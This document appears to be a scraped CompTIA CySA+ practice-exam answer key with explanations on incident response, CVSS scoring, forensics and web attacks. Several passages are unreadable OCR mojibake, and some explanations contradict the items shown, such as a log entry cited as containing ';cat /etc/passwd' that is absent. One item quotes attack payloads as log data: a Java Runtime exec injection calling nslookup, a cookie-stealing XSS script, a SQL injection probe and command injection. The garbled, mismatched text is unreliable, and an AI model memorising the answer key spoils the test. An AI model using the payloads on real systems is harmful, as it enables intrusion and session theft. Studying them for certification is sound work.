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Deploying EDR on the web server and the database server to reduce the adversaries capabilities and using micro segmentation to restrict connectivity to/from the web and database servers
are two compensating controls that will help contain the adversary while meeting the other requirements. A compensating control is a security measure that is implemented to mitigate the risk
of a vulnerability or an attack when the primary control is not feasible or effective. EDR stands for Endpoint Detection and Response, which is a tool that monitors endpoints for malicious
activity and provides automated or manual response capabilities. EDR can help contain the adversary by detecting and blocking their actions, such as data exfiltration, lateral movement,
privilege escalation, or command execution. Micro segmentation is a technique that divides a network into smaller segments based on policies and rules, and applies granular access controls
to each segment. Micro segmentation can help contain the adversary by isolating the web and database servers from other parts of the network, and limiting the traffic that can flow between
them. Official References:

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/certifications/cybersecurity-analyst

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

B 2

EHRICDRES FUVRERMECENT BREOERZENICRYKRN BRET S EANEETHAIERELT RDS6ENDEFONFEITMN?
A BRESENEEICRET IBENELLGERITENICEDOOND ZLEZRAT S0

B. 1 2 Ty bRIGEF—LRITIZCHINA T EIRTT S

C.iHARERAINICERATEDS L EZRAT 510

D. S ARARRERARNDI=ODT—2V—ADBRZEH =86

TR (EREHTLET)

The correct answer is A. To ensure the report is legally acceptable in case it needs to be presented in court.
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Proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response because they ensure the integrity, authenticity, and
admissibility of the evidence in case it needs to be presented in court. Evidence that is mishandled, tampered with, or poorly documented may not be accepted by the court or may be
challenged by the opposing party. Therefore, incident responders should follow the best practices and standards for evidence collection, preservation, analysis, and reporting1.

The other options are not reasons why proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response. They are rather
outcomes or benefits of conducting a thorough and effective incident response process. A lessons-learned analysis (B) is a way to identify the strengths and weaknesses of the incident
response team and improve their performance for future incidents. A postmortem analysis is a way to determine the root cause, impact, and timeline of the incident and provide
recommendations for remediation and prevention. A root cause analysis (D) is a way to identify the underlying factors that led to the incident and address them accordingly.
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The Diamond Model of Intrusion Analysis is a framework that describes the relationship between four components of a cyberattack: adversary, capability, infrastructure, and victim. It helps
analysts understand the behavior and motivation of threat actors, as well as the tools and methods they use to compromise their targets12. References: Main Analytical Frameworks for Cyber
Threat Intelligence, section 4; Strategies, tools, and frameworks for building an effective threat intelligence team, section 3.
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Automation is the best concept to describe the example, as it reflects the use of technology to perform tasks or processes without human intervention. Automation can help to improve
efficiency, accuracy, consistency, and scalability of various operations, such as identity and access management (IAM). IAM is a security framework that enables organizations to manage the
identities and access rights of users and devices across different systems and applications. IAM can help to ensure that only authorized users and devices can access the appropriate
resources at the appropriate time and for the appropriate purpose. IAM can involve various tasks or processes, such as authentication, authorization, provisioning, deprovisioning, auditing, or
reporting.

Automation can help to simplify and streamline these tasks or processes by using software tools or scripts that can execute predefined actions or workflows based on certain triggers or
conditions. For example, automation can help to create, update, or delete user accounts in bulk based on a file or a database, rather than manually entering or modifying each account
individually. The example in the question shows that an API is used to insert bulk access requests from a file into an identity management system. An API (Application Programming Interface)
is a set of rules or specifications that defines how different software components or systems can communicate and exchange data with each other. An API can help to enable automation by
providing a standardized and consistent way to access and manipulate data or functionality of a software component or system. The example in the question shows that an API is used to
automate the process of inserting bulk access requests from a file into an identity management system, rather than manually entering each request one by one. The other options are not
correct, as they describe different concepts or techniques.

Command and control is a term that refers to the ability of an attacker to remotely control a compromised system or device, such as using malware or backdoors. Command and control is not
related to what is described in the example. Data enrichment is a term that refers to the process of enhancing or augmenting existing data with additional information from external sources,
such as adding demographic or behavioral attributes to customer profiles. Data enrichment is not related to what is described in the example. Single sign- on is a term that refers to an
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authentication method thatallows users to access multiple systems or applications with one set of credentials, such as using a single username and password for different websites or
services.
Single sign-on is not related to what is described in the example.
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According to the CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition1, the best technique to provide the necessary assurance for embedded software that drives centrifugal pumps at
a power plant is formal methods. Formal methods are a rigorous and mathematical approach to software development and verification, which can ensure the correctness and reliability of
critical software systems. Formal methods can be used to specify, design, implement, and verify embedded software using formal languages, logics, and tools1.

Containerization, manual code reviews, and static and dynamic analysis are also useful techniques for software assurance, but they are not as rigorous or comprehensive as formal methods.
Containerization is a method of isolating and packaging software applications with their dependencies, which can improve security, portability, and scalability. Manual code reviews are a
process of examining the source code of a software program by human reviewers, which can help identify errors, vulnerabilities, and compliance issues. Static and dynamic analysis are
techniques of testing and evaluating software without executing it (static) or while executing it (dynamic), which can help detect bugs, defects, and performance issues1.
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A signal-shielded bag and a tamper-evident seal are tools that can be used to maintain the integrity of the mobile phone while it is transported. A signal-shielded bag prevents the phone from
receiving orsending any signals that could compromise the data or evidence on the device. A tamper-evident seal ensures that the phone has not been opened or altered during the
transportation. References: Mobile device forensics, Section:

Acquisition
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A bit-level image is a forensic-grade copy that preserves all data on a disk, including unallocated space, deleted files, and metadata. This is the most legally defensible form of digital evidence
collection, as it ensures that no potential evidence is missed.

Copying all access files (Option A) only captures live files and omits deleted or system-level artifacts that may be critical.

Creating a file-level archive (Option B) is insufficient because it does not capture system metadata or slack space where forensic artifacts reside.

Providing a full system backup inventory (Option C) may include important files, but it lacks forensic integrity because backups often modify timestamps and do not capture all system states.
Thus, the correct answer is D, as a bit-level image ensures forensic integrity and completeness of evidence.
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The correct answer is D. The remediation was technically successful, but it took place during five business hours on a sales application. That likely caused business process interruption and
lost sales. The problem was not the patch itself; the problem was poor change scheduling and communication.

Exact supporting extract: the Sybex CySA+ Study Guide states that changes can be disruptive and that the timing of changes should be carefully coordinated. It also explains that
maintenance windows usually occur during evenings, weekends, or other periods when business activity is low.

The official CySA+ objectives also list patching, business process interruption, degrading functionality, SLAs, SLOs, and stakeholder communication as key vulnerability management
reporting and communication concerns.

Why the other options are incorrect:

A is incorrect because this was avoidable operational loss caused by poor scheduling.

B is incorrect because the issue is not specifically board notification by the CIO.

C is incorrect because a penetration test is not required before every patch.

D is correct because a properly scheduled and communicated maintenance window should reduce business impact.
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Root cause analysis (RCA) is a post-incident activity focused on identifying the underlying cause of an incident/problem so the organization can fix the real cause (not just symptoms) and
prevent recurrence. That matches Option B, which describes tracing the origin and eliminating it permanently.

The Sybex CySA+ Study Guide defines RCA in exactly this way:

Exact extract (Sybex Study Guide):

"The process of root cause analysis (RCA) is used to identify why a problem, incident, or issue occurred.
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Root cause analysis is performed to allow organizations to understand what they need to focus on to prevent future problems..." The Secbay Press guide also defines RCA as uncovering
underlying causes to prevent recurrence:

Exact extract (Secbay Press):

"Root Cause Analysis (RCA)... is a systematic investigation process aimed at identifying the fundamental factors that led to a security incident. It goes beyond addressing symptoms and
seeks to uncover the underlying causes to prevent recurrence." Why the other options are wrong

* A (TTPs): That describes attacker behavior frameworks (e.g., MITRE ATT & CK), not RCA.

* C (who/what/when/where/why): That's an incident reporting structure, not the RCA process.

* D (ongoing activities report): That resembles status reporting/incident updates, not root cause determination.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003): RCA identifies why an incident occurred and helps prevent recurrence

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): RCA goes beyond symptoms to uncover underlying causes and prevent recurrence

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): "who/what/when/where/why" belongs to incident reporting context
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Comprehensive Detailed Explanation:The best approach to address the risk of a zero-day attack is mitigation.

Here's an explanation of each option:

* A. Avoid

* Explanation: Avoiding risk would mean discontinuing the use of the asset, which is not feasible for high-value assets that are essential to operations.

* B. Transfer

* Explanation: Transferring risk would involve outsourcing or obtaining insurance, but this does not directly reduce the threat of a zero-day exploit.

* C. Accept

* Explanation: Accepting the risk means acknowledging it without implementing countermeasures, which is not advisable for high-value assets at risk from sophisticated attacks.
* D. Mitigate

* Explanation: Mitigation involves implementing technical or administrative controls to reduce the impact of an attack. For zero-day exploits, this could include installing network-based
protections, enhancing monitoring, or applying threat intelligence to detect or contain potential exploit attempts.

References:

*NIST SP 800-30: Guide for Conducting Risk Assessments.

* OWASP Risk Rating Methodology: Techniques for assessing and mitigating security risks.
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CVSS metrics [Affected instance
AV:N/AC:L/AT:N/PR:L/UI: : System A

AV:A/AC:H/AT:P/PR:N/UI:N/E: System B
BV:P/AC:L/AT:N/PR:N/UI; T System C
AV:N/AC:L/AT:N/PR:L/UL:N/E: §ystem D
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Using CVSS v4.0, the highest-priority remediation is typically the vulnerability that is most remotely exploitable and requires the least attacker effort (low complexity, no special conditions,
low/no privileges, and no user interaction).
System D is the strongest "fix first" candidate because it combines:
* AV:N (Network) # remotely exploitable over the network; severity increases the more remote the attacker can be.
* AC:L (Low) # easier to exploit than High complexity.
* AT:N (None) # "does not depend on deployment/execution conditions"; attacker can expect the exploit to work under most instances.
* PR:L (Low) # only basic user privileges required (still relatively accessible).
* UL:N (None) # most important differentiator vs System A. CVSS v4.0 explicitly states: "The resulting score is greatest when no user interaction is required."
* E:P (Proof-of-Concept) # publicly available PoC code exists (more exploitable than "Unreported"), increasing urgency compared to U.
Why not System A (the closest competitor)?
System A is also AV:N/AC:L/AT:N/PR:L, but it has Ul:A (Active), meaning exploitation requires a targeted user to perform specific actions. CVSS v4.0 defines Active (A) as requiring "specific,
conscious interactions... or actively subvert protection mechanisms." System D's UI:N makes it exploitable purely at the attacker's will, which CVSS treats as more severe.
Why the others are lower priority
* System B (AV:A, AC:H, AT:P): adjacent-only, high complexity, and attack requirements present # significantly harder/less broadly exploitable.
* System C (AV:P) and System E (AV:P): require physical access, which reduces the pool of potential attackers and generally lowers priority versus network-exploitable issues.
References (Official CVSS v4.0 specification used):
* FIRST, CVSS v4.0 Specification Document:
* User Interaction values (None/Passive/Active) and "score is greatest when no user interaction is required"
* Attack Requirements (AT) definitions (None vs Present)
* Exploit Maturity (E) values (X/A/P/U) and meanings
* Attack Vector remoteness increases severity
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Comprehensive Detailed Explanation:The command output shown indicates that the analyst used a TCP connection test to check if communication on port 443 (usually HTTPS) succeeded.
Here's why each option was or was not suitable:

* A. nmap: While nmap can scan ports, it does not provide direct feedback on connection success or failure in the manner shown.

* B. tnc (Test-NetConnection in PowerShell): This command in PowerShell is specifically designed to test connectivity to a specified port and IP address. The output (TcpTestSucceeded:
False) is characteristic of the thc command.

* C. ping: The ping command only tests ICMP echo replies and does not indicate success or failure on specific ports.

* D. tracert: tracert traces the path packets take to reach a host but does not provide a direct indication of port availability or success.

References:

* Microsoft PowerShell Documentation: Test-NetConnection cmdlet, which details TCP port testing.

*NIST SP 800-115: Technical Guide to Information Security Testing and Assessment, covering connectivity testing methods.
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The first thing that must be done when starting an investigation is to secure the scene. Securing the scene involves isolating and protecting the area where the incident occurred, as well as
any potential evidence or withesses. Securing the scene can help prevent any tampering, contamination, or destruction of evidence, as well as any interference or obstruction of the
investigation.
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Log entry # |[Message

comptia.org/S{@java.lang. Runtime@getRuntime().exec("nslookup
example.com”)l/

<schpttype="text/javascript!®vartest='./index.php?
cookie | data="+escape(dactument.cookie), </script>

Log entry 3 |example.com/butienphp?id=1 and nullif (1337,1337)

requestORlj'&) * {scopes:. ["Mail. ReadWrite", "Mail.send”,
Logentry 4 |uciles ReagWrite All'] )
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Log entry 4 shows an attempt to exploit the zero-day command injection vulnerability by appending a malicious command (;cat /etc/passwd) to the end of a legitimate request (/cgi-
bin/index.cgi?name=John). This command would try to read the contents of the /etc/passwd file, which contains user account information, and could lead to further compromise of the system.
The other log entries do not show any signs of command injection, as they do not contain any special characters or commands that could alter the intended behavior of the application. Official

Log entry 1

Logienity 2

References:
* https://www.imperva.com/learn/application-security/command-injection/
* https://www.zerodayinitiative.com/advisories/published/
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The correct answer is Business Continuity Plan (BCP) because the question specifically asks for the document that ensures services remain available (operational) during or in the event of an
incident.

* Business Continuity Plan (BCP): This is the overarching plan focused on keeping the business running.

It identifies mission-critical functions and outlines the procedures (such as failover to a hot site, manual workarounds, or redundant systems) to ensure those services are available to
customers and users despite the incident. Its primary goal is availability and continuity of operations.

* Disaster Recovery Plan (DRP): This focuses on the technical restoration of IT systems after they have failed or been disrupted. While DRP supports BCP, its specific goal is " recovery

" (getting systems back up) rather than " continuity " (keeping them from going down or maintaining service levels).

* B. Vulnerability management plan: This is a proactive process for identifying and patching weaknesses to prevent attacks, not a reactive plan to ensure availability during an active incident.
* C. Disaster recovery plan: As noted above, this is a subset of BCP focused on restoring data and infrastructure after a failure, whereas BCP focuses on maintaining the availability of the
critical service itself.

* D. Asset management plan: This tracks hardware and software inventory but does not define procedures for maintaining availability during a crisis.
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A Service-Level Agreement (SLA) is a document that establishes customer expectations regarding the performance and quality of services provided by the SOC (Security Operations Center).
It defines the level of service expected, including aspects like response times, availability, and support after regular work hours. An SLA helps in setting clear expectations and improving
customer satisfaction by outlining the standards and commitments of the service provider.
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The first step should be to perform a public search for malware reports on taskhw.exe, as this file is suspicious for several reasons: it is located in a non-standard path, it has a high CPU
usage, it is signed by an unknown entity, and it is only present on one host. A public search can help to determine if this file is a known malware or a legitimate program. If it is malware, the
hunter can then take appropriate actions to remove it and prevent further damage. The other options are either premature or ineffective, as they do not provide enough information to assess
the threat level of taskhw.exe. References: Cybersecurity Analyst+ - CompTIA, taskhw.

exe Windows process - What is it? - file.net, Taskhostw.exe - What Is Taskhostw.exe & Is It Malware? - MalwareTips Forums
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This is a type of web application vulnerability called cross-site scripting (XSS), which allows an attacker to inject malicious code into a web page that is viewed by other users. XSS can be
used to steal cookies, session tokens, credentials, or other sensitive information, or to perform actions on behalf of the victim.

Input sanitization is a technique that prevents XSS attacks by checking and filtering the user input before processing it. Input sanitization can remove or encode any characters or strings that

may be interpreted as code by the browser, such as <,>,", ", or javascript:. Input sanitization can also validate the input against a predefined format or range of values, and reject any input
that does not match.
Output encoding is a technique that prevents XSS attacks by encoding the output before sending it to the browser. Output encoding can convert any characters or strings that may be

interpreted as code by the browser into harmless entities, suchas <, >,", ', or javascript:. Output encoding can also escape any special characters that may have a different meaning in
different contexts, such as , /, or ;.

Code obfuscation is a technique that makes the source code of a web application more difficult to read and understand by humans. Code obfuscation can use techniques such as renaming
variables and functions, removing comments and whitespace, replacing literals with expressions, or adding dummy code. Code obfuscation can help protect the intellectual property and trade

secrets of a web application, but it does not prevent XSS attacks.
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An incident response timeline is a detailed chronological record of all events and actions taken during the response to a security incident. It includes timestamps and descriptions of each step,
providing a comprehensive overview of how the incident was detected, contained, mitigated, and resolved. This timeline is crucial for post-incident analysis, helping to understand the
effectiveness of the response, identify areas for improvement, and ensure accountability and transparency in the incident handling process.

gﬁ:ﬁ: 20

BHOHBERF YV LR—FT O— FRTPRICSUVFISNLIS—DPRELTVESIENRENTVWET , I5—EZRTITHE v ath— FIZE FARENRBEZF VI T50
DARVEFA A3 —T1—ANHYFEFT FAREELCOBMEZBET HICE RO ENZFEAINEELNTLLEIN?2DOFIRLTLEZEWY),

AT ITIr—3vexa) T4 TR MDEST

B.O—FDLEx—

C.7IVr—>avmar7ory

D.I—FDT/N\vYJ

E.O—T 1 VI BEDEE

F. IDSOE%

IEfE (EfEZRRLET)

Reviewing the code and debugging the code are two methods that can help a developer identify and fix runtime errors in the code. Reviewing the code involves checking the syntax, logic, and
structure of the code for any errors or inconsistencies. Debugging the code involves running the code in a controlled environment and using tools such as breakpoints, watches, and logs to
monitor the execution and find the source of errors.

Both methods can help improve the quality and security of the code.
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JavaScript Object Notation (JSON) is commonly used for transmitting data in web applications and would be suitable for updating dashboards that integrate various data sources. It's
lightweight and easy to parse and generate.
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Automating the generation of NIDS (Network Intrusion Detection System) rules based on Structured Threat Information eXpression (STIX) messages is a practical use of automation in
security operations.
Option B (Privileged access requests) should involve human oversight due to the high risk of unauthorized access.
Option C (PKI identity verification) requires manual document verification and human approval.
Option D (Malware analysis) often requires sandboxing and behavioral analysis, which benefit from human expertise.
Thus, A is the correct answer, as automating threat intelligence ingestion and rule creation enhances efficiency in intrusion detection.
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The issue is that laptops are often off-network (traveling), causing inaccurate network-scan metrics and slower detection. The best way to reduce MTTD (mean time to detect vulnerabilities)
for roaming endpoints is agent-based scanning, because agents run continuously on endpoints and can still scan/report results even when devices are not connected to the corporate
network.

Exact extract (All-in-One Exam Guide):

"Because the agents run continuously on each host, mobile devices can still be scanned even when they are not connected to the corporate network." It further emphasizes suitability for
mobile devices:

Exact extract (All-in-One Exam Guide):
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"agent-based (or serverless) vulnerability scans are typically better for scanning mobile devices." And Sybex Practice Tests directly supports this scenario (traveling sales laptops) by selecting
agent-based scanning as best for accurate config visibility on traveling laptops:

Exact extract (Sybex Practice Tests):

"...most accurate view of configuration issues on laptops belonging to traveling salespeople. Which technology will work best...? A. Agent-based scanning" Why the other options don't solve
the "traveling laptops" problem:

* B (credentialed scans): improves depth/accuracy when the device is reachable, but does nothing when laptops are offline/not on the network.

* C (more frequent network scans): still misses devices that aren't connected.

* D (increase runtime): waiting longer doesn't reduce MTTD; it just delays reporting and still won't scan an off-network device.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): agents scan continuously; mobile devices can be scanned off-network; agent-based better for mobile devices

* Chapple/Seidl, CompTIA CySA+ Practice Tests (CS0-003): agent-based scanning best for traveling laptop scanning accuracy
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A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should also include a risk score for
each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official References: https://www.first.org/cvss/
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The correct answer is A because SLOs - service-level objectives are measurable targets used to evaluate whether a service or process is meeting expected performance levels. When
incident response is outsourced to a third party, SLOs help the organization measure whether the provider is meeting key performance expectations, such as detection time, response time,
remediation time, and reporting quality.

Exact supporting extract: the Secbay CySA+ guide defines SLOs as specific, measurable targets set for the performance and reliability of a service or process. It also states that SLOs provide
a framework for defining and measuring effectiveness, and that reporting on SLOs allows stakeholders to assess performance and make informed decisions.

The same guide explains that SLOs depict explicit measurements and may be set by a company or defined as part of a service-level agreement with a service provider. It also states that
estimating whether SLOs are being met is a typical component of SLA management.

The official CySA+ objectives include SLOs under metrics and KPIs for reporting and communication.

Why the other options are incorrect:

B is incorrect because SLOs are performance targets, not a method for identifying hidden costs.
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C is incorrect because SLOs may support risk management, but they do not directly calculate an objective risk score.
D is incorrect because risk appetite is a governance/risk-management concept, not the purpose of SLOs.
A is correct because SLOs allow the organization to measure third-party IR performance against defined KPIs.
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Defense evasion is the technique of avoiding detection or prevention by security tools or mechanisms. In this case, the freeware program is likely a malware that generates random DNS
queries to communicate with a command and control server or exfiltrate data. The command Add-MpPreference -ExclusionPath ' %Program Filest\ksysconfig ' is used to add an exclusion
path to Windows Defender, which is a built-in antivirus software, to prevent it from scanning the malware folder. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition,
Chapter 5, page 204; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 5, page 212. pr
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Command and control (C2) is a phase of the Cyber Kill Chain that involves the adversary attempting to establish communication with a successfully exploited target. C2 enables the adversary
to remotely control or manipulate the target system or network using various methods, such as malware callbacks, backdoors, botnets, or covert channels. C2 allows the adversary to maintain
persistence, exfiltrate data, execute commands, deliver payloads, or spread to other systems or networks.
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The correct answer is B. In forensic analysis, the analyst wants to preserve volatile evidence and prevent the user from changing system state. If the computer is powered off, data in memory,
running processes, active network connections, and other volatile artifacts may be lost. If the user continues interacting with the computer, they may unintentionally overwrite or alter evidence.
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Exact supporting extract: the Sybex CySA+ Study Guide states that forensic evidence acquisition may require

"making live memory images to ensure that information is not lost when a system is powered off." It also explains that order of volatility measures how easy data is to lose and that data in
memory or caches is highly volatile.

The Secbay CySA+ guide also states that allowing a computer to enter hibernation or sleep mode can change memory properties and result in loss of forensic evidence. It further explains that
failing to follow order of volatility will likely result in evidence being lost.

Why the other options are incorrect:

A is incorrect because the main reason is evidence preservation, not preventing misuse.

C is incorrect because the analyst is not validating tool installation or patch status.

D is incorrect because legal hold is a legal preservation process, not the immediate reason to keep a live system powered on.
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The error indicates the application (running under w3wp.exe, the IIS worker process) crashed/stopped working. To identify the application's point of failure, you need a debugger that can
perform dynamic analysis-setting breakpoints, stepping through execution, inspecting memory/stack/registers, and/or analyzing a crash dump/core dump to pinpoint where the failure
occurred.

The CySA+ All-in-One guide describes exactly how a debugger is used to analyze a crash and determine the program's state at the time of failure:

Exact extract (All-in-One Exam Guide):

"Using a debugger, you can load the core dump file and examine the program's state at the time of the crash..." It then explains that debuggers (including Immunity) are used for dynamic
analysis by stepping through code and examining runtime behavior:

Exact extract (All-in-One Exam Guide):

“Immunity... offers... features... valuable for security analysts... Security analysts can leverage Immunity to set breakpoints, step through code, and monitor the execution flow of a program...
allowing analysts to...

uncover critical security information."

The Sybex CySA+ Study Guide reinforces that debuggers are used for dynamic analysis of executables and explicitly lists Immunity Debugger as a key tool:

Exact extract (Sybex Study Guide):

"Debuggers... allow testers to perform dynamic analysis of executable files... Immunity debugger is designed specifically to support penetration testing and the reverse engineering of
malware." Also, the official CompTIA CS0-003 objectives list Immunity Debugger under tools used to analyze output from vulnerability assessment tools (debuggers category), confirming it as
an expected exam-relevant tool choice:
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Exact extract (CompTIA CS0-003 Objectives):

"Debuggers: Immunity debugger, GNU debugger (GDB)"

Why the other options are wrong

* A. OpenVAS is an infrastructure vulnerability scanner, not a crash/failure debugger.

* B. Angry IP Scanner is a network scanning/mapping tool for IPs/ports, not application crash analysis.

* D. Burp Suite is a web application testing/proxy tool (great for analyzing HTTP requests, auth, app logic flaws), but it does not directly pinpoint a process crash point like a debugger can.
References (CompTIA CySA+ CS0-003 documents / study guides used):

* Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): debuggers analyze crash/core dump state; Immunity Debugger supports breakpoints/stepping/execution monitoring
* Mike Chapple & David Seidl, CompTIA CySA+ Study Guide (CS0-003): debuggers support dynamic analysis; Immunity debugger noted as a key debugger tool

* CompTIA CySA+ CS0-003 Exam Obijectives v4.0: lists "Immunity debugger" under debugger tools
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The best recommendations to prevent an XSS vulnerability from being exploited are to implement a compensating control in the source code and to fix the vulnerability using a virtual patch at
the WAF. A compensating control is a technique that mitigates the risk of a vulnerability by adding additional security measures, such as input validation, output encoding, or HTML
sanitization. A virtual patch is a rule that blocks or modifies malicious requests or responses at the WAF level, without modifying the application code.

These recommendations are effective, efficient, and less disruptive than the other options. References:

CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 156; Cross Site Scripting Prevention Cheat Sheet, Section: XSS Defense
Philosophy.
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Segmenting the entire department from the network and reviewing each computer offline is the first step the incident response staff members should take when they arrive. This step can help
contain the malware infection and prevent it from spreading to other systems or networks. Reviewing each computer offline can help identify the source and scope of the infection, and
determine the best course of action for recovery12.

Turning on all systems, scanning for infection, and backing up data to a USB storage device is a risky step, as it can activate the malware and cause further damage or data loss. It can also
compromise the USB storage device and any other system that connects to it. Identifying and removing the software installed on the impacted systems in the department is a possible step,
but it should be done after segmenting the department from the network and reviewing each computer offline. Explaining that malware cannot truly be removed and then reimaging the devices
is a drastic step, as it can result in data loss and downtime. It should be done only as a last resort, and after backing up the data and verifying its integrity. Logging on to the impacted systems
with an administrator account that has privileges to perform backups is a dangerous step, as it can expose the administrator credentials and privileges to the malware, and allow it to escalate
its access and capabilities34.

References: Incident Response: Processes, Best Practices & Tools - Atlassian, Incident Response Best Practices | SANS Institute, Malware Removal: How to Remove Malware from Your
Device, How to Remove Malware From Your PC | PCMag
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To mitigate brute-force attacks, implementing an account lockout policy (C) prevents continuous attempts by locking the account after a set number of failed logins. Blocking inbound
connections on TCP port 3389 (RDP) from untrusted IP addresses (F) limits access, reducing the attack surface. According to CompTIA Security+, these controls effectively prevent
unauthorized access. While blocking specific IPs (D) or disabling RDP (E) can also help, the lockout and firewall rules provide broader, proactive protection against this attack type.
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Increasing training and awareness for all staff is the best way to address the issue of employees being enticed to assist attackers by visiting specific websites and running downloaded files
when prompted by phone calls.

This issue is an example of social engineering, which is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that
benefit the attackers.

Social engineering can take many forms, such as phishing, vishing, baiting, quid pro quo, or impersonation.

The best defense against social engineering is to educate and train the staff on how to recognize and avoid common social engineering tactics, such as:

* Verifying the identity and legitimacy of the caller or sender before following their instructions or clicking on any links or attachments

* Being wary of unsolicited or unexpected requests for information or action, especially if they involve urgency, pressure, or threats

* Reporting any suspicious or anomalous activity to the security team or the appropriate authority

* Following the organization's policies and procedures on security awareness and best practices Official References:

* https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

* https://www.comptia.org/certifications/cybersecurity-analyst

* https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
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Brady should be prioritized for remediation, as it has the highest risk score and the highest number of affected users. The risk score is calculated by multiplying the CVSS score by the
exposure factor, which is the percentage of systems that are vulnerable to the exploit. Brady has a risk score of 9 x 0.8 = 7.2, which is higher than any other system. Brady also has 500
affected users, which is more than any other system.

Therefore, patching brady would reduce the most risk and impact for the organization. The other systems have lower risk scores and lower numbers of affected users, so they can be
remediated later.
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Geoblocking is the best mitigation technique for unusual network scanning activity coming from a country that the company does not do business with, as it can prevent any potential attacks
or data breaches from that country. Geoblocking is the practice of restricting access to websites or services based on geographic location, usually by blocking IP addresses associated with a
certain country or region. Geoblocking can help reduce the overall attack surface and protect against malicious actors who may be trying to exploit vulnerabilities or steal information. The
other options are not as effective as geoblocking, as they may not block all the possible sources of the scanning activity, or they may not address the root cause of the problem. Official
References:

https://www.blumira.com/geoblocking/

https://www.avg.com/en/signal/geo-blocking
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The lessons learned process is the final stage of the incident management life cycle, where the incident team reviews the incident and evaluates the effectiveness of the response and the
plans in place. The lessons learned report should include the who-what-when information and any recommendations for improvement123 References: 1: What is incident management?
Steps, tips, and best practices 2: 5 Steps of the Incident Management Lifecycle | RSI Security 3: Navigating the Incident Response Life Cycle: A Comprehensive Guide
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Because the system is mission critical and there is no patch and no vendor support, the best risk-reduction approach is to implement compensating controls. Compensating controls are
specifically recommended when immediate remediation is not possible, and for legacy systems where patches may not exist.
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The Sybex CySA+ Study Guide states this directly:

Exact extract (Sybex Study Guide): "Legacy systems may not have patches available, meaning that compensating controls may be the only option available." Secbay Press also explains that
legacy systems may lack vendor support/updates and that mitigation strategies like compensating controls or isolation are essential to reduce risk:

Exact extract (Secbay Press): "Legacy systems may lack vendor support and updates, making mitigation strategies essential... Implement specific mitigation strategies for legacy systems,
such as compensating controls or isolation." And Secbay provides a legacy-system compensating control case study showing exactly the kinds of controls mentioned in option D-
segmentation/isolation, access controls, and enhanced monitoring/continuous monitoring:

Exact extract (Secbay Press): "Selected compensating controls, such as network segmentation, intrusion detection systems, and enhanced monitoring, to mitigate the risks..." Why the other
options are not "best" given the constraints:

* A (Decommission immediately): may be ideal long-term, but conflicts with "mission critical" (and

"immediately" is often unrealistic for business operations).

* B (Block inbound/allow outbound): helps somewhat but is incomplete and can still allow command-and- control or exfiltration outbound; also doesn't address restricted admin
access/monitoring comprehensively.

* C (WAF): useful only if this is specifically a web application exposure; the scenario says "legacy system" broadly. Compensating controls are the most complete and universally applicable
choice.

References (CompTIA CySA+ CS0-003 documents / study guides used):

* Chapple/Seidl, CompTIA CySA+ Study Guide (CS0-003): legacy systems may have no patches; compensating controls may be the only option

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): legacy systems lack support/updates; use compensating controls or isolation

* Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): compensating controls for legacy systems include segmentation/isolation and enhanced/continuous monitoring
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Phishing attacks arebest mitigated through user education and training. The50% reduction in phishing attemptssuggests a strongawareness programthat improved employee vigilance.
* Option A (Patching)helps prevent exploits but does notdirectly reduce phishing attempts.

* Option B (Configuration management)ensures proper system setup but does notaddress phishing prevention.

* Option D (Threat modeling)is useful for security planning but does notactively reduce phishing attempts.

Thus,C is the correct answer, asawareness training significantly decreases phishing success rates by educating employees on email-based threats.
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Security Orchestration, Automation, and Response (SOAR)solutions allow organizations tointegrate security tools, automate response actions, and aggregate threat intelligence. This matches
the organization's goal ofthreat detection, real-time analysis, and data aggregation.

* Option A (DLP - Data Loss Prevention)is focused ondata securityrather than threat aggregation and response automation.
* Option B (Heuristics)is amethod for threat detection, not aplatformfor security automation.

* Option D (NAC - Network Access Control)manages device access rather than handling security automation.

Thus,C (SOAR) is the correct answer, asit automates threat detection, intelligence integration, and real- time response.
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Risk scoringis the best method for prioritizing patching, as it considers factors likeCVSS severity, exploitability, asset criticality, and business impact.
* Option A (Affected hosts)is relevant but does notdetermine prioritywithout a risk assessment.

* Option C (Mitigation strategy)is useful but focuses on alternative protections rather than prioritization.

* Option D (Annual recurrence)is not a standard method for vulnerability prioritization.

Thus,B is the correct answer, asrisk scores allow organizations to prioritize patching efforts effectively.
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Impacted hostname  |OS 'Function

SQLO1 Windows 2012 R2 /SQL Database Server
WK10-Sales07 Windows 10 Corporate Laptop
WK7-Plant01 Windows / Assembly/plant System
DCEast01 Windows Segver 2016 |Domain Controller
HQAdmIN9 Wirdows 11 Network Admin Laptop
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Based on the list of hosts and their functions, DCEast01, which is a Domain Controller, would be the most pivotal in the distribution of an encryption binary via Group Policy. Domain
Controllers are responsible for security and administrative policies within a Windows Domain. Group Policy is a feature of Windows that facilitates a wide range of advanced settings that
administrators can use to control the working environment of user accounts and computer accounts. Group Policy can be used to deploy software, which in this case would be the encryption
binary of the ransomware. SQLO01 is a database server and unlikely to be used for this purpose. WK10-Sales07 and WK7-Plant01 are client machines, and HQAdmIn9, although it is a network
admin laptop, would not typically be used to distribute policies across a network.
